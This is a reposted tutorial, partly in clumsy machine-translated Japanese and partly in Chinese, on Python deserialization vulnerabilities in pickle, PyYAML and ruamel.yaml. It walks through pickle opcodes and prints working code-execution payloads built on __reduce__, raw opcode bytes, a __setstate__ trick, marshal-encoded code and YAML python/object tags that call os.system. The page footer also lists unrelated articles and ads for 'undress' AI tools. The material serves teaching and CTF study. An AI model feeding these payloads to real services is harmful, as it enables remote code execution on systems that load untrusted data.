目次
Python デシリアライゼーションの脆弱性
Pickle
シリアル化可能なオブジェクト
# 逆シリアル化プロセス #pickle.load() メソッドと pickle.loads() メソッドの基礎となる実装は、逆シリアル化する _Unpickler() メソッドに基づいています
__reduce()__ コマンド実行##__recude()__
全局变量覆盖
利用BUILD指令RCE(不使用R指令)
利用Marshal模块造成任意函数执行
漏洞出现位置
PyYAML
原理
Payload
PyYAML
ruamel.yaml
ホームページ バックエンド開発 Python チュートリアル Python の逆シリアル化を理解する

Python の逆シリアル化を理解する

Mar 28, 2022 pm 12:12 PM
python

この記事では、python に関する関連知識を提供し、主に逆シリアル化に関する関連問題を紹介します。逆シリアル化: pickle.loads() は文字列を逆シリアル化します。オブジェクトの場合、 pickle.load() はファイルからデータを読み取り、それを逆シリアル化します. 皆様のお役に立てれば幸いです。

Python の逆シリアル化を理解する

推奨される学習: python チュートリアル

Python デシリアライゼーションの脆弱性

Pickle

  • シリアル化: pickle.dumps() オブジェクトを文字列にシリアル化します。 pickle.dump() オブジェクトのシリアル化された文字列をファイルとして保存します
  • 逆シリアル化: pickle.loads() 文字列をオブジェクトに逆シリアル化します。 pickle.load() ファイルから読み取ったデータを逆シリアル化します

dumps() を使用する場合 および loads() では、protocol パラメーターを使用してプロトコルのバージョンを指定できます

protocol バージョンは 0、1、2、3、4 です。 、および 5. Python のバージョンが異なれば、デフォルトのプロトコルのバージョンも異なります。これらのバージョンの中で、No. 0 が最も読みやすいです。後のバージョンでは、最適化のために印刷不可能な文字が追加されました。プロトコル

には下位互換性があります。バージョン No. 0 を直接使用することもできます。

シリアル化可能なオブジェクト

  • NoneTrue、および False
  • 整数、浮動小数点ポイント番号、複素数
  • str、byte、bytearray
  • タプル、リスト、セット、dictなど、シールできるオブジェクトのコレクションのみが含まれます
  • で定義されています。モジュールの最外部 層関数 (def を使用して定義、ラムダ関数は使用できません)
  • モジュールの最外部層で定義された組み込み関数
  • モジュールの最外部クラスで定義
  • __dict__ __getstate__() 関数の属性値または戻り値はシリアル化できます (詳細については、公式ドキュメントの「Pickle Class Instances」を参照してください)

# 逆シリアル化プロセス #pickle.load() メソッドと pickle.loads() メソッドの基礎となる実装は、逆シリアル化する _Unpickler() メソッドに基づいています

逆シリアル化プロセスでは、

_Unpickler

(以降、マシンと呼びます) はスタック領域とストレージ領域の 2 つを維持します。これを調べるには、 debugger

pickletools

[外部リンク画像の転送に失敗しました。ソース サイトにはリーチ防止メカニズムがある可能性があります。画像を保存して直接アップロードすることをお勧めします (img-wUDq6S9E-1642832623478) (C:\Users\Administrator\AppData\Roaming\Typora\typora -user-images\image-20220121114238511.png)]

画像からわかるように、シリアル化された文字列は実際には PVM の文字列です。 (Pickle Virtual Machine) 命令コード 命令コードはスタックに基づいています 正式なストレージと解析

PVM 命令セット

完全な PVM 命令セットは、次の場所で確認できます。

pickletools.py

. 異なるプロトコル バージョンで使用される命令セット わずかに異なります 上の図の命令コードは次のように変換できます:

    0: \x80 PROTO      3  # 协议版本
    2: ]    EMPTY_LIST  # 将空列表推入栈
    3: (    MARK  # 将标志推入栈
    4: X        BINUNICODE 'a'  # unicode字符
   10: X        BINUNICODE 'b'
   16: X        BINUNICODE 'c'
   22: e        APPENDS    (MARK at 3)  # 将3号标准之后的数据推入列表
   23: .    STOP  # 弹出栈中数据,结束
highest protocol among opcodes = 2
ログイン後にコピー

いくつかの重要な命令があります命令セット内のコード:

GLOBAL = b'c ' # 改行で終わる 2 つの文字列をスタックにプッシュします。最初の文字列はモジュール名、2 番目の文字列はクラス名です。グローバル変数
    xxx.xxx
  • の値は REDUCE = b'R' # 呼び出し可能なタプルとパラメータ タプルによって生成されたオブジェクトをスタックにプッシュします。つまり、
  • __reduce()
  • によって返される最初の値は実行可能関数として使用され、2 番目の値はパラメータ、実行関数 BUILD = b'b' # を通じてオブジェクトの構築を完了します。オブジェクトに
  • __setstate__
  • メソッドがある場合は __setstate__ または更新 __dict__、メソッドがない場合は anyobject .__setstate__(parameter); を呼び出します。 __setstate__ メソッドでは、anyobject.__dict__.update(argument)(更新が可能です。変数カバレッジが生成されます)STOP = b '.' # End
  • より複雑な例:
import pickleimport pickletoolsclass a_class():
    def __init__(self):
        self.age = 24
        self.status = 'student'
        self.list = ['a', 'b', 'c']a_class_new = a_class()a_class_pickle = pickle.dumps(a_class_new,protocol=3)print(a_class_pickle)# 优化一个已经被打包的字符串a_list_pickle = pickletools.optimize(a_class_pickle)print(a_class_pickle)# 反汇编一个已经被打包的字符串pickletools.dis(a_class_pickle)
ログイン後にコピー
    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ a_class'
   20: )    EMPTY_TUPLE  # 将空元组推入栈
   21: \x81 NEWOBJ  # 表示前面的栈的内容为一个类(__main__ a_class),之后为一个元组(20行推入的元组),调用cls.__new__(cls, *args)(即用元组中的参数创建一个实例,这里元组实际为空)
   22: }    EMPTY_DICT  # 将空字典推入栈
   23: (    MARK
   24: X        BINUNICODE 'age'
   32: K        BININT1    24
   34: X        BINUNICODE 'status'
   45: X        BINUNICODE 'student'
   57: X        BINUNICODE 'list'
   66: ]        EMPTY_LIST
   67: (        MARK
   68: X            BINUNICODE 'a'
   74: X            BINUNICODE 'b'
   80: X            BINUNICODE 'c'
   86: e            APPENDS    (MARK at 67)
   87: u        SETITEMS   (MARK at 23)  # 将将从23行开始传入的值以键值对添加到现有字典中
   88: b    BUILD  # 更新字典完成构建
   89: .    STOP
highest protocol among opcodes = 2
ログイン後にコピー

共通関数実行

関数に関連する PVM 命令セットは 3 つあります。実行:

#R

io なので、3 つのコンストラクトから一方向に開始できます:

R

<div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">b'''cos system (S'whoami' tR.'''</pre><div class="contentsignin">ログイン後にコピー</div></div>

i

<div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">b'''(S'whoami' ios system .'''</pre><div class="contentsignin">ログイン後にコピー</div></div>

o

<div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">b'''(cos system S'whoami' o.'''</pre><div class="contentsignin">ログイン後にコピー</div></div>

__reduce()__ コマンド実行##__recude()__

マジック関数はデシリアライズ処理で終了します。自動的に呼び出され、タプルを返します。このうち、最初の要素は呼び出し可能オブジェクトであり、オブジェクトの初期バージョンの作成時に呼び出されます。2 番目の要素は呼び出し可能オブジェクトのパラメータであり、逆シリアル化中に RCE 脆弱性を引き起こす可能性があります

#__reduce()__

をトリガーする命令コードは「R
, **シリアル化される文字列に

#R 命令が存在する限り、**」です。 reduce メソッドは、通常のプログラムで reduce` メソッドが指定されているかどうかに関係なく実行されます。 ##pickle は逆シリアル化中に 未導入のモジュールを自動的にインポートします。そのため、Python 標準ライブラリのすべてのコード実行およびコマンド実行関数を使用できますが、ペイロードを生成する Python バージョンは、ターゲット

## と一致している必要があります。 ####例:###
class a_class():
    def __reduce__(self):
        return os.system, ('whoami',)# __reduce__()魔法方法的返回值:# os.system, ('whoami',)# 1.满足返回一个元组,元组中至少有两个参数# 2.第一个参数是被调用函数 : os.system()# 3.第二个参数是一个元组:('whoami',),元组中被调用的参数 'whoami' 为被调用函数的参数# 4. 因此序列化时被解析执行的代码是 os.system('whoami')
ログイン後にコピー
b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'
b'\x80\x03cnt\nsystem\nX\x06\x00\x00\x00whoami\x85R.'
    0: \x80 PROTO      3
    2: c    GLOBAL     'nt system'
   13: X    BINUNICODE 'whoami'
   24: \x85 TUPLE1
   25: R    REDUCE
   26: .    STOP
highest protocol among opcodes = 2
ログイン後にコピー

将该字符串反序列化后将会执行命令 os.system('whoami')

全局变量覆盖

__reduce()_利用的是 R 指令码,造成REC,而利用 GLOBAL = b’c’ 指令码则可以触发全局变量覆盖

# secret.pya = aaaaaa
ログイン後にコピー
# unser.pyimport secretimport pickleclass flag():
    def __init__(self, a):
        self.a = a

your_payload = b'?'other_flag = pickle.loads(your_payload)secret_flag = flag(secret)if other_flag.a == secret_flag.a:
    print('flag:{}'.format(secret_flag.a))else:
    print('No!')
ログイン後にコピー

在不知道 secret.a 的情况下要如何获得 flag 呢?

先尝试获得 flag() 的序列化字符串:

class flag():
    def __init__(self, a):
        self.a = a
new_flag = pickle.dumps(Flag("A"), protocol=3)flag = pickletools.optimize(new_flag)print(flag)print(pickletools.dis(new_flag))
ログイン後にコピー
b'\x80\x03c__main__\nFlag\n)\x81}X\x01\x00\x00\x00aX\x01\x00\x00\x00Asb.'
    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ Flag'
   17: q    BINPUT     0
   19: )    EMPTY_TUPLE
   20: \x81 NEWOBJ
   21: q    BINPUT     1
   23: }    EMPTY_DICT
   24: q    BINPUT     2
   26: X    BINUNICODE 'a'
   32: q    BINPUT     3
   34: X    BINUNICODE 'A'
   40: q    BINPUT     4
   42: s    SETITEM
   43: b    BUILD
   44: .    STOP
highest protocol among opcodes = 2
ログイン後にコピー

可以看到,在34行进行了传参,将变量 A 传入赋值给了a。若将 A 修改为全局变量 secret.a,即将 X BINUNICODE 'A' 改为 c GLOBAL 'secret a'(X\x01\x00\x00\x00A 改为 csecret\na\n)。将该字符串反序列化后,self.a 的值等于 secret.a 的值,成功获取 flag

除了改写 PVM 指令的方式外,还可以使用 exec 函数造成变量覆盖:

test1 = 'test1'test2 = 'test2'class A:
   def __reduce(self):
       retutn exec, "test1='asd'\ntest2='qwe'"
ログイン後にコピー

利用BUILD指令RCE(不使用R指令)

通过BUILD指令与GLOBAL指令的结合,可以把现有类改写为os.system或其他函数

假设某个类原先没有__setstate__方法,我们可以利用{'__setstate__': os.system}来BUILE这个对象

BUILD指令执行时,因为没有__setstate__方法,所以就执行update,这个对象的__setstate__方法就改为了我们指定的os.system

接下来利用'whoami'来再次BUILD这个对象,则会执行setstate('whoami'),而此时__setstate__已经被我们设置为os.system,因此实现了RCE

例:

代码中存在一个任意类:

class payload:
    def __init__(self):
        pass
ログイン後にコピー

根据这个类构造 PVM 指令:

    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ payload'
   17: q    BINPUT     0
   19: )    EMPTY_TUPLE
   20: \x81 NEWOBJ
   21: }    EMPTY_DICT  # 使用BUILD,先放入一个字典
   22: (    MARK  # 放值前先放一个标志
   23: V        UNICODE    '__setstate__'  # 放键值对
   37: c        GLOBAL     'nt system'
   48: u        SETITEMS   (MARK at 22)
   49: b    BUILD  # 第一次BUILD
   50: V    UNICODE    'whoami'  # 加参数
   58: b    BUILD  # 第二次BUILD
   59: .    STOP
ログイン後にコピー

将上述 PVM 指令改写成 bytes 形式:b'\x80\x03c__main__\npayload\n)\x81}(V__setstate__\ncnt\nsystem\nubVwhoami\nb.',使用 piclke.loads() 反序列化后成功执行命令

利用Marshal模块造成任意函数执行

pickle 不能将代码对象序列化,但 python 提供了一个可以序列化代码对象的模块 Marshal

但是序列化的代码对象不再能使用 __reduce()_ 调用,因为__reduce__是利用调用某个可调用对象并传递参数来执行的,而我们这个函数本身就是一个可调用对象 ,我们需要执行它,而不是将他作为某个函数的参数。隐藏需要利用 typres 模块来动态的创建匿名函数

import marshalimport typesdef code():
    import os    print('hello')
    os.system('whoami')code_pickle = base64.b64encode(marshal.dumps(code.__code__))  # python2为 code.func_codetypes.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), '')()  # 利用types动态创建匿名函数并执行
ログイン後にコピー

pickle 上使用:

import pickle# 将types.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), '')()改写为 PVM 的形式s = b"""ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'4wAAAAAAAAAAAAAAAAEAAAADAAAAQwAAAHMeAAAAZAFkAGwAfQB0AWQCgwEBAHwAoAJkA6EBAQBkAFMAKQRO6QAAAADaBWhlbGxv2gZ3aG9hbWkpA9oCb3PaBXByaW502gZzeXN0ZW0pAXIEAAAAqQByBwAAAPogRDovUHl0aG9uL1Byb2plY3QvdW5zZXJpYWxpemUucHnaBGNvZGUlAAAAcwYAAAAAAQgBCAE='
tRtRc__builtin__
globals
(tRS''
tR(tR."""pickle.loads(s)  # 字符串转换为 bytes
ログイン後にコピー

漏洞出现位置

  • 解析认证 token、session 时
  • 将对象 pickle 后存储在磁盘文件
  • 将对象 pickle 后在网络中传输
  • 参数传递给程序

PyYAML

yaml 是一种标记类语言,类似与 xmljson,各个支持yaml格式的语言都会有自己的实现来进行 yaml 格式的解析(读取和保存),PyYAML 就是 yaml 的 python 实现

在使用 PyYAML 库时,若使用了 yaml.load() 而不是 yaml.safe_load() 函数解析 yaml文件,则会导致反序列化漏洞的产生

原理

PyYAML 有针对 python 语言特有的标签解析的处理函数对应列表,其中有三个和对象相关:

!!python/object:          =>  Constructor.construct_python_object!!python/object/apply:    =>  Constructor.construct_python_object_apply!!python/object/new:      =>  Constructor.construct_python_object_new
ログイン後にコピー

例如:

# Test.pyimport yamlimport osclass test:
    def __init__(self):
        os.system('whoami')payload = yaml.dump(test())fp = open('sample.yml', 'w')fp.write(payload)fp.close()
ログイン後にコピー

该代码执行后,会生成 sample.yml ,并写入 !!python/object:__main__.test {}

将文件内容改为 !!python/object:Test.test {} 再使用 yaml.load() 解析该 yaml 文件:

import yaml
yaml.load(file('sample.yml', 'w'))
ログイン後にコピー

Python の逆シリアル化を理解する

命令成功执行。但是命令的执行依赖于 Test.py 的存在,因为 yaml.load() 时会根据yml文件中的指引去读取 Test.py 中的 test 这个对象(类)。如果删除 Test.py ,也将运行失败

Payload

PyYAML

想要消除依赖执行命令,就需要将其中的类或者函数换成 python 标准库中的类或函数,并使用另外两种 python 标签:

# 该标签可以在 PyYAML 解析再入 YAML 数据时,动态的创建 Python 对象!!python/object/apply:    =>  Constructor.construct_python_object_apply# 该标签会调用 apply!!python/object/new:      =>  Constructor.construct_python_object_new
ログイン後にコピー

利用这两个标签,就可以构造任意 payload:

!!python/object/apply:subprocess.check_output [[calc.exe]]!!python/object/apply:subprocess.check_output ["calc.exe"]!!python/object/apply:subprocess.check_output [["calc.exe"]]!!python/object/apply:os.system ["calc.exe"]!!python/object/new:subprocess.check_output [["calc.exe"]]!!python/object/new:os.system ["calc.exe"]
ログイン後にコピー

PyYAML >= 5.1

在版本 PyYAML >= 5.1 后,限制了反序列化内置类方法以及导入并使用不存在的反序列化代码,并且在使用 load() 方法时,需要加上 loader 参数,直接使用时会爆出安全警告

loader的四种类型:

  • BaseLoader:仅加载最基本的YAML
  • SafeLoader:安全地加载YAML语言的子集,建议用于加载不受信任的输入(safe_load)
  • FullLoader:加载完整的YAML语言,避免任意代码执行,这是当前(PyYAML 5.1)默认加载器调用yaml.load(input) (出警告后)(full_load)
  • UnsafeLoader(也称为Loader向后兼容性):原始的Loader代码,可以通过不受信任的数据输入轻松利用(unsafe_load)

在高版本中之前的 payload 已经失效,但可以使用 subporcess.getoutput() 方法绕过检测:

!!python/object/apply:subprocess.getoutput
- whoami
ログイン後にコピー

Python の逆シリアル化を理解する

在最新版本上,命令执行成功

ruamel.yaml

ruamel.yaml的用法和PyYAML基本一样,并且默认支持更新的YAML1.2版本

在ruamel.yaml中反序列化带参数的序列化类方法,有以下方法:

  • load(data)
  • load(data, Loader=Loader)
  • load(data, Loader=UnsafeLoader)
  • load(data, Loader=FullLoader)
  • load_all(data)
  • load_all(data, Loader=Loader)
  • load_all(data, Loader=UnSafeLoader)
  • load_all(data, Loader=FullLoader)

我们可以使用上述任何方法,甚至我们也可以通过提供数据来反序列化来直接调用load(),它将完美地反序列化它,并且我们的类方法将被执行

推荐学习:python学习教程

以上がPython の逆シリアル化を理解するの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター

SublimeText3 中国語版

SublimeText3 中国語版

中国語版、とても使いやすい

ゼンドスタジオ 13.0.1

ゼンドスタジオ 13.0.1

強力な PHP 統合開発環境

ドリームウィーバー CS6

ドリームウィーバー CS6

ビジュアル Web 開発ツール

SublimeText3 Mac版

SublimeText3 Mac版

神レベルのコード編集ソフト(SublimeText3)

PHPおよびPython:コードの例と比較 PHPおよびPython:コードの例と比較 Apr 15, 2025 am 12:07 AM

PHPとPythonには独自の利点と短所があり、選択はプロジェクトのニーズと個人的な好みに依存します。 1.PHPは、大規模なWebアプリケーションの迅速な開発とメンテナンスに適しています。 2。Pythonは、データサイエンスと機械学習の分野を支配しています。

CentosでPytorchモデルを訓練する方法 CentosでPytorchモデルを訓練する方法 Apr 14, 2025 pm 03:03 PM

CentOSシステムでのPytorchモデルの効率的なトレーニングには手順が必要であり、この記事では詳細なガイドが提供されます。 1。環境の準備:Pythonおよび依存関係のインストール:Centosシステムは通常Pythonをプリインストールしますが、バージョンは古い場合があります。 YumまたはDNFを使用してPython 3をインストールし、PIP:sudoyumupdatepython3(またはsudodnfupdatepython3)、pip3install-upgradepipをアップグレードすることをお勧めします。 cuda and cudnn(GPU加速):nvidiagpuを使用する場合は、cudatoolをインストールする必要があります

Dockerの原則の詳細な説明 Dockerの原則の詳細な説明 Apr 14, 2025 pm 11:57 PM

DockerはLinuxカーネル機能を使用して、効率的で孤立したアプリケーションランニング環境を提供します。その作業原則は次のとおりです。1。ミラーは、アプリケーションを実行するために必要なすべてを含む読み取り専用テンプレートとして使用されます。 2。ユニオンファイルシステム(UnionFS)は、違いを保存するだけで、スペースを節約し、高速化する複数のファイルシステムをスタックします。 3.デーモンはミラーとコンテナを管理し、クライアントはそれらをインタラクションに使用します。 4。名前空間とcgroupsは、コンテナの分離とリソースの制限を実装します。 5.複数のネットワークモードは、コンテナの相互接続をサポートします。これらのコア概念を理解することによってのみ、Dockerをよりよく利用できます。

Python vs. JavaScript:コミュニティ、ライブラリ、リソース Python vs. JavaScript:コミュニティ、ライブラリ、リソース Apr 15, 2025 am 12:16 AM

PythonとJavaScriptには、コミュニティ、ライブラリ、リソースの観点から、独自の利点と短所があります。 1)Pythonコミュニティはフレンドリーで初心者に適していますが、フロントエンドの開発リソースはJavaScriptほど豊富ではありません。 2)Pythonはデータサイエンスおよび機械学習ライブラリで強力ですが、JavaScriptはフロントエンド開発ライブラリとフレームワークで優れています。 3)どちらも豊富な学習リソースを持っていますが、Pythonは公式文書から始めるのに適していますが、JavaScriptはMDNWebDocsにより優れています。選択は、プロジェクトのニーズと個人的な関心に基づいている必要があります。

CentosのPytorchのGPUサポートはどのようにサポートされていますか CentosのPytorchのGPUサポートはどのようにサポートされていますか Apr 14, 2025 pm 06:48 PM

Pytorch GPUアクセラレーションを有効にすることで、CentOSシステムでは、PytorchのCUDA、CUDNN、およびGPUバージョンのインストールが必要です。次の手順では、プロセスをガイドします。CUDAおよびCUDNNのインストールでは、CUDAバージョンの互換性が決定されます。NVIDIA-SMIコマンドを使用して、NVIDIAグラフィックスカードでサポートされているCUDAバージョンを表示します。たとえば、MX450グラフィックカードはCUDA11.1以上をサポートする場合があります。 cudatoolkitのダウンロードとインストール:nvidiacudatoolkitの公式Webサイトにアクセスし、グラフィックカードでサポートされている最高のCUDAバージョンに従って、対応するバージョンをダウンロードしてインストールします。 cudnnライブラリをインストールする:

Centosの下でPytorchバージョンを選択する方法 Centosの下でPytorchバージョンを選択する方法 Apr 14, 2025 pm 02:51 PM

CentOSでPytorchバージョンを選択する場合、次の重要な要素を考慮する必要があります。1。CUDAバージョンの互換性GPUサポート:NVIDIA GPUを使用してGPU加速度を活用したい場合は、対応するCUDAバージョンをサポートするPytorchを選択する必要があります。 NVIDIA-SMIコマンドを実行することでサポートされているCUDAバージョンを表示できます。 CPUバージョン:GPUをお持ちでない場合、またはGPUを使用したくない場合は、PytorchのCPUバージョンを選択できます。 2。PythonバージョンPytorch

ミニオペンCentosの互換性 ミニオペンCentosの互換性 Apr 14, 2025 pm 05:45 PM

MINIOオブジェクトストレージ:CENTOSシステムの下での高性能展開Minioは、Amazons3と互換性のあるGO言語に基づいて開発された高性能の分散オブジェクトストレージシステムです。 Java、Python、JavaScript、Goなど、さまざまなクライアント言語をサポートしています。この記事では、CentosシステムへのMinioのインストールと互換性を簡単に紹介します。 Centosバージョンの互換性Minioは、Centos7.9を含むがこれらに限定されない複数のCentosバージョンで検証されています。

NginxをCentosにインストールする方法 NginxをCentosにインストールする方法 Apr 14, 2025 pm 08:06 PM

NGINXのインストールをインストールするには、次の手順に従う必要があります。開発ツール、PCRE-Devel、OpenSSL-Develなどの依存関係のインストール。 nginxソースコードパッケージをダウンロードし、それを解凍してコンパイルしてインストールし、/usr/local/nginxとしてインストールパスを指定します。 nginxユーザーとユーザーグループを作成し、アクセス許可を設定します。構成ファイルnginx.confを変更し、リスニングポートとドメイン名/IPアドレスを構成します。 nginxサービスを開始します。依存関係の問題、ポート競合、構成ファイルエラーなど、一般的なエラーに注意する必要があります。パフォーマンスの最適化は、キャッシュをオンにしたり、ワーカープロセスの数を調整するなど、特定の状況に応じて調整する必要があります。

See all articles